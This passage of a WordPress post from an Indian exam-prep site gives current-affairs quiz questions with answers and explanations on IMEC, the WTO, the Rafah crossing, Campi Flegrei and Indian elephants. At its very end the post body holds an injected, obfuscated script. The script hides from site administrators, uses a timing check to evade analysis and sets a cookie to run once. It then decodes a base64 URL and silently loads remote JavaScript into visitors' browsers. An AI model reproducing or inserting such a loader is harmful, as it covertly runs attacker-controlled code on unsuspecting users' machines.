only <br>(b) 2 only <br>(c) 1 and 3 only <br><strong>(d) 1, 2 and 3<\/strong> <strong>\u00a0<\/strong> <br><br><strong>Q. Consider the following:<\/strong> <br><br>1. Right to education. <br>2. Right to equal access to public service. <br>3. Right to food. <br><br><strong>Which of the above is\/are Human Right\/Human Rights under \u201cUniversal Declaration of Human Rights\u201d?<\/strong> <br><br>(a) 1 only <br>(b) 1 and 2 only <br>(c) 3 only <br><strong>(d) 1, 2 and 3<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.newsonair.gov.in\/india-elected-unopposed-to-un-human-rights-council-for-2026-28-term\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.newsonair.gov.in\/india-elected-unopposed-to-un-human-rights-council-for-2026-28-term\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><strong>6. With reference to \u2018India-Middle East-Europe Corridor Project\u2019 consider the following statements.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\">1. The India-Middle East-Europe Economic Corridor (IMEC) is a planned economic corridor that aims to bolster economic development by fostering connectivity and economic integration between Asia, the Persian Gulf and Europe.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\">2.The project was launched to bolster transportation and communication links through rail and shipping networks and also to counter China&#8217;s Belt and Road Initiative.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\">3. The corridor is a proposed route from India to Europe through the Suez Canal.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Which of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>In NEWS: <\/strong>The India\u2013Middle East\u2013Europe Economic Corridor visualises maritime connectivity between India and the Arabian Peninsula, as well as high-speed trains running from the ports in the UAE to the Haifa port through Saudi Arabia and Jordan. However, the situation in West Asia mandates that the corridor\u2019s routes adapt to political dynamics<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\"><strong>The India\u2013Middle East\u2013Europe Economic Corridor:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-133\">\n<li>The India-Middle East-Europe Economic Corridor (IMEC) is a planned economic corridor that aims to bolster economic development by fostering connectivity and economic integration between <strong>Asia, the Persian Gulf and Europe.<\/strong> <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>The corridor is a proposed route from<strong> India to Europe<\/strong> through the <strong>United Arab Emirates, Saudi Arabia, Israel and Greece.<\/strong> <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>On 09 September 2023 the Memorandum of Understanding (MoU) was signed during the 2023 G20 New Delhi summit by the governments of <strong>India, United States, United Arab Emirates, Saudi Arabia, France, Germany, Italy and the European Union.<\/strong><\/li>\n\n\n\n<li>The project was launched to <strong>bolster transportation and communication links<\/strong> between Europe and Asia through rail and shipping networks and is seen as a counter to <strong>China&#8217;s Belt and Road Initiative.<\/strong> <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>The memorandum of understanding document has only mapped out the potential geography of a corridor and will compete against the current trade route going through the Suez Canal.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"601\" height=\"380\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-24.jpg\" alt=\"\" class=\"wp-image-2593\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-24.jpg 601w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-24-300x190.jpg 300w\" sizes=\"auto, (max-width: 601px) 100vw, 601px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><strong>Q. Consider the following statements:<\/strong> <br><br><strong>Statement-I:<\/strong> Sumed pipeline is a strategic route for Persian Gulf oil and natural gas shipment to Europe <br><br><strong>Statement-II:<\/strong> Sumed pipeline connects the Red Sea with the Mediterranean Sea. <br><br><strong>Which one of the following is correct in respect of the above statements?<\/strong> <br><br><strong>(a) Both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/strong> <br>(b) Both Statement-I and Statement-II are correct, but Statement-II does not explain Statement-I <br>(c) Statement-I is correct, but Statement-II is incorrect<br>(d) Statement-I is incorrect, but Statement-II is correct<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/international\/the-future-of-the-imec\/article70168507.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/international\/the-future-of-the-imec\/article70168507.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>7. Consider the following statements with respect to the World Trade Organization (WTO):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\">1. The World Trade Organization (WTO) is the only global international organization dealing with the rules of trade between nations.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\">2. India is one of the founding members of the World Trade Organization (WTO), which came into force on 1 January 1995.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\">3. It follows the Most Favoured Nation (MFN) principles by discriminating between its trading partners.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>Which of the statements given above is\/are not correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\">(a) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\">(b) 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\">(c) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\">(d) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>Answer: (b) 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\"><strong>In NEWS: <\/strong>China files WTO complaint on India&#8217;s EV, battery subsidies<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>WORLD TRADE ORGANIZATION (WTO)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-148\">\n<li>The <strong>World Trade Organization (WTO)<\/strong> is the <strong>only global international organization<\/strong> dealing with the <strong>rules of trade<\/strong> between nations.&nbsp; <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>It ensures that trade flows <strong>smoothly, predictably, and freely<\/strong> as possible among member countries.<\/li>\n\n\n\n<li><strong>Came into existence:<\/strong> <strong>1 January 1995<\/strong><\/li>\n\n\n\n<li><strong>Headquarters:<\/strong> Geneva, Switzerland<\/li>\n\n\n\n<li><strong>Replaced:<\/strong> <em>General Agreement on Tariffs and Trade (GATT)<\/em>, established in 1947<\/li>\n\n\n\n<li><strong>Current Membership:<\/strong> 164 members (as of 2025)<\/li>\n\n\n\n<li><strong>India:<\/strong> Founding member. <strong>Hence statement 2 is correct<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>Objectives<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-150\">\n<li>Promote <strong>free and fair international trade<\/strong>.<\/li>\n\n\n\n<li>Ensure <strong>non-discrimination<\/strong> (Most-Favoured-Nation &amp; National Treatment principles).<\/li>\n\n\n\n<li>Encourage <strong>predictability<\/strong> and <strong>transparency<\/strong> in trade policies.<\/li>\n\n\n\n<li>Promote <strong>economic development<\/strong>, especially in developing countries.<\/li>\n\n\n\n<li>Settle <strong>trade disputes<\/strong> through a structured mechanism.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\"><strong>Key Principles<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#e9ecc4\"><tbody><tr><td><strong>Principle<\/strong><\/td><td><strong>Meaning<\/strong><\/td><\/tr><tr><td><strong>Most Favoured Nation (MFN)<\/strong><\/td><td>A country cannot discriminate between its trading partners. <strong>Hence statement 3 is incorrect.<\/strong><\/td><\/tr><tr><td><strong>National Treatment<\/strong><\/td><td>Imported and locally produced goods should be treated equally once they enter the market.<\/td><\/tr><tr><td><strong>Transparency<\/strong><\/td><td>Members must publish trade regulations and notify changes.<\/td><\/tr><tr><td><strong>Reciprocity<\/strong><\/td><td>Mutual reduction of trade barriers.<\/td><\/tr><tr><td><strong>Special and Differential Treatment (SDT)<\/strong><\/td><td>Flexibilities for developing and least-developed countries.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\"><strong>Structure<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-153\">\n<li><strong>Ministerial Conference<\/strong> \u2013 highest decision-making body; meets biennially.<\/li>\n\n\n\n<li><strong>General Council<\/strong> \u2013 conducts day-to-day work, also meets as Dispute Settlement Body (DSB) and Trade Policy Review Body (TPRB).<\/li>\n\n\n\n<li><strong>Committees and Councils<\/strong> \u2013 e.g., Council for Goods, Services, TRIPS, etc.<\/li>\n\n\n\n<li><strong>Director-General<\/strong> \u2013 administrative head. <em>(As of 2025: Dr. Ngozi Okonjo-Iweala)<\/em><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\"><strong>Major Agreements under WTO<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#dbe9b7\"><tbody><tr><td><strong>Agreement<\/strong><\/td><td><strong>Purpose<\/strong><\/td><\/tr><tr><td><strong>GATT (Goods)<\/strong><\/td><td>Trade in goods, tariff reduction.<\/td><\/tr><tr><td><strong>GATS (Services)<\/strong><\/td><td>Trade in services like banking, telecom, etc.<\/td><\/tr><tr><td><strong>TRIPS<\/strong><\/td><td>Intellectual property rights.<\/td><\/tr><tr><td><strong>TRIMS<\/strong><\/td><td>Investment measures related to trade.<\/td><\/tr><tr><td><strong>AoA (Agreement on Agriculture)<\/strong><\/td><td>Fair competition and reduction of subsidies.<\/td><\/tr><tr><td><strong>SPS (Sanitary and Phytosanitary Measures)<\/strong><\/td><td>Food safety and animal\/plant health.<\/td><\/tr><tr><td><strong>TBT (Technical Barriers to Trade)<\/strong><\/td><td>Standards and regulations in trade.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>Dispute Settlement Mechanism (DSM)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-156\">\n<li>Core function: ensures <strong>rules-based trade<\/strong>.<\/li>\n\n\n\n<li>If members violate rules, disputes are handled through consultation, panel, appeal, and implementation.<\/li>\n\n\n\n<li><strong>Appellate Body crisis<\/strong> since 2019 \u2014 U.S. blocking appointments \u2192 dispute settlement stalled.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\"><strong>India\u2019s Interests:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-158\">\n<li>Protecting <strong>farmers<\/strong> from unfair subsidies by developed nations.<\/li>\n\n\n\n<li>Promoting <strong>services exports<\/strong> (IT, health, education).<\/li>\n\n\n\n<li>Ensuring <strong>patent flexibility<\/strong> under TRIPS for affordable medicines.<\/li>\n\n\n\n<li>Safeguarding <strong>food security<\/strong> via <strong>Public Stockholding (PSH)<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\"><strong>Key Issues for India:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-160\">\n<li><strong>Agricultural subsidies<\/strong> by rich countries distort trade.<\/li>\n\n\n\n<li><strong>E-commerce &amp; digital trade<\/strong> regulation concerns.<\/li>\n\n\n\n<li><strong>Fishery subsidy negotiations<\/strong> \u2013 India demands special treatment for artisanal fishers.<\/li>\n\n\n\n<li><strong>Trade and climate change<\/strong> linkages.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2017)<\/strong> <br><strong>Q. Consider the following statements:<\/strong> <br><br>1. India has ratified the Trade Facilitation Agreement (TFA) of WTO. <br>2. TFA is a part of WTO\u2019s Bali Ministerial Package of 2013. <br>3. TFA came into force in January 2016. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br><strong>(a) 1 and 2 only<\/strong> <br>(b) 1 and 3 only <br>(c) 2 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/business\/china-files-complaint-against-india-in-world-trade-organisation-over-ev-battery-subsidies\/article70168588.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/business\/china-files-complaint-against-india-in-world-trade-organisation-over-ev-battery-subsidies\/article70168588.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\"><strong>8. The Rafah Border Crossing, recently in news, connects which of the following regions?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\">(a) Israel and Lebanon<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\">(b) Gaza Strip and Egypt<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\">(c) West Bank and Jordan<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\">(d) Syria and Turkey<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\"><strong>Answer: (b) Gaza Strip and Egypt<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\"><strong>In NEWS: <\/strong>Aid enters Gaza, Israel to open Rafah crossing<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\"><strong>Rafah crossing:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-171\">\n<li>The <strong>Rafah Border Crossing<\/strong> is the <strong>sole crossing point between the Gaza Strip and Egypt<\/strong>. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>Situated at the <strong>southern tip of Gaza<\/strong>, it connects <strong>Rafah city in Gaza<\/strong> with <strong>North Sinai in Egypt<\/strong>.<\/li>\n\n\n\n<li>It is <strong>not connected to Israel<\/strong>\u2014unlike other Gaza border crossings.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"556\" height=\"558\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-25.jpg\" alt=\"\" class=\"wp-image-2594\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-25.jpg 556w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-25-300x300.jpg 300w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-25-150x150.jpg 150w\" sizes=\"auto, (max-width: 556px) 100vw, 556px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\"><strong>Strategic Importance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-173\">\n<li>It is <strong>Gaza\u2019s only gateway to the outside world<\/strong> that is <strong>not controlled by Israel<\/strong>.<\/li>\n\n\n\n<li>Acts as the <strong>primary route for humanitarian aid, medical evacuation, and people\u2019s movement<\/strong> in and out of Gaza.<\/li>\n\n\n\n<li>Egypt controls entry and exit; Israel has <strong>no direct control<\/strong>, but it coordinates with Egypt on security aspects.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\"><strong>Political &amp; Security Context<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-175\">\n<li>Since <strong>Hamas took control of Gaza in 2007<\/strong>, <strong>Israel and Egypt<\/strong> have imposed <strong>tight border restrictions<\/strong> citing security threats.<\/li>\n\n\n\n<li>The Rafah crossing is often <strong>opened temporarily<\/strong> for humanitarian reasons or under international mediation.<\/li>\n\n\n\n<li>It frequently becomes a <strong>flashpoint during conflicts<\/strong>, especially when humanitarian aid or refugees try to pass through.<\/li>\n\n\n\n<li>Managed by <strong>Egyptian authorities<\/strong> in coordination with the <strong>Palestinian Authority (PA)<\/strong> and sometimes <strong>Hamas<\/strong> (de facto in Gaza).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\"><strong>Recent Developments (2023\u20132025)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-177\">\n<li>During the <strong>Israel\u2013Hamas conflict (2023\u201325)<\/strong>, Rafah crossing became the <strong>key entry point for humanitarian aid<\/strong> from <strong>Egypt<\/strong> to <strong>Gaza<\/strong>, especially from the city of <strong>El-Arish<\/strong>.<\/li>\n\n\n\n<li><strong>Aid convoys, ambulances, and fuel trucks<\/strong> have passed through under <strong>UN and Egyptian supervision<\/strong>.<\/li>\n\n\n\n<li><strong>Israel\u2019s military operations near Rafah (2024\u201325)<\/strong> raised concerns about civilian casualties and potential refugee outflow into Egypt.<\/li>\n\n\n\n<li>Egypt has maintained a <strong>controlled humanitarian access<\/strong>, refusing large-scale refugee entry to protect its <strong>Sinai security<\/strong> and <strong>sovereignty concerns<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2008)<\/strong> <br><strong>Q. Yom Kippur War was fought between which sides\/ countries?<\/strong> <br><br>(a) Turkey and Greece <br>(b) Serbs and Croats <br><strong>(c) Israel, and Arab countries led by Egypt and Syria<\/strong> <br>(d) Iran and Iraq<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-178 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/international\/israel-hamas-ceasefire-gaza-rafah-crossing-opening\/article70165783.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/international\/israel-hamas-ceasefire-gaza-rafah-crossing-opening\/article70165783.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\"><strong>9. The Campi Flegrei volcano, seen in the news recently, is located in which one of the following countries?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-180 wp-block-paragraph\">(a) Japan<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-181 wp-block-paragraph\">(b) Greece<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\">(c) Italy<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-183 wp-block-paragraph\">(d) Argentina<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\"><strong>Answer: (c) Italy<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-185 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\"><strong>In NEWS:<\/strong> AI reveals hidden &#8216;ring fault&#8217; that is unleashing earthquakes at Italy&#8217;s Campi Flegrei volcano<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-187\">\n<li>A new AI\u2011based approach has revealed a \u201cring fault\u201d structure beneath the Campi Flegrei volcano.<\/li>\n\n\n\n<li>Between 2022 and 2025, more than 54,000 earthquakes were mapped using this AI method.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-188 wp-block-paragraph\"><strong>Campi Flegrei volcano:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-189\">\n<li>Campi Flegrei is a large volcanic caldera<strong> located west of Naples, Italy. Hence option (c) is correct.<\/strong><\/li>\n\n\n\n<li>Its name means &#8220;Burning Fields&#8221; in Italian, referencing the area&#8217;s frequent geothermal activity.<\/li>\n\n\n\n<li>It is one of the most dangerous supervolcanoes in the world due to its size, explosive history, and proximity to a densely populated region.<\/li>\n\n\n\n<li><strong>The caldera last erupted in 1538, forming a small cone called Monte Nuovo.<\/strong><\/li>\n\n\n\n<li>Campi Flegrei has experienced periodic unrest, including ground uplift, gas emissions, and swarms of earthquakes.<\/li>\n\n\n\n<li>This phenomenon, known as <strong>bradyseism<\/strong>, involves slow, vertical ground movement due to changes in pressure underground.<\/li>\n\n\n\n<li>In recent years, the area has seen a significant increase in seismic activity and ground deformation.<\/li>\n\n\n\n<li>A new AI-based study has discovered a hidden ring fault beneath the volcano that may explain the current earthquake patterns.<\/li>\n\n\n\n<li>The presence of this fault suggests localized stress release, but there is no clear evidence of magma rising toward the surface.<\/li>\n\n\n\n<li>Although there is no imminent eruption, scientists are closely monitoring the area to assess potential volcanic and seismic hazards.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-190 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.livescience.com\/planet-earth\/volcanos\/ai-reveals-hidden-ring-fault-that-is-unleashing-earthquakes-at-italys-campi-flegrei-volcano\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.livescience.com\/planet-earth\/volcanos\/ai-reveals-hidden-ring-fault-that-is-unleashing-earthquakes-at-italys-campi-flegrei-volcano<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-191 wp-block-paragraph\"><strong>10. With reference to Indian elephants, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-192 wp-block-paragraph\">1. The leader of an elephant group is a female.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-193 wp-block-paragraph\">2. The maximum gestation period can be 22 months.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-194 wp-block-paragraph\">3. An elephant can normally go on calving till the age of 40 years only.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-195 wp-block-paragraph\">4. Among the States in India, the highest elephant population is in Kerala.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-196 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-197 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-198 wp-block-paragraph\">(b) 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-199 wp-block-paragraph\">(c) 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-200 wp-block-paragraph\">(d) 1, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-201 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-202 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-203\">\n<li>Elephant herds are matriarchal. The leader is usually the oldest and most experienced female, called the matriarch.<\/li>\n\n\n\n<li>Elephants have the longest gestation period among land mammals, up to 22 months. This applies to Indian (Asian) elephants as well.<\/li>\n\n\n\n<li>Female elephants can reproduce until around 50\u201360 years of age, although fertility may decline with age.<\/li>\n\n\n\n<li>As per the latest estimates, Karnataka has the highest elephant population in India, followed by Assam and Kerala.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-204 wp-block-paragraph\"><strong>Hence option (a) is correct.<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>A rising trade deficit in India\u2019s Balance of Payments would most likely lead to which of the following consequences? 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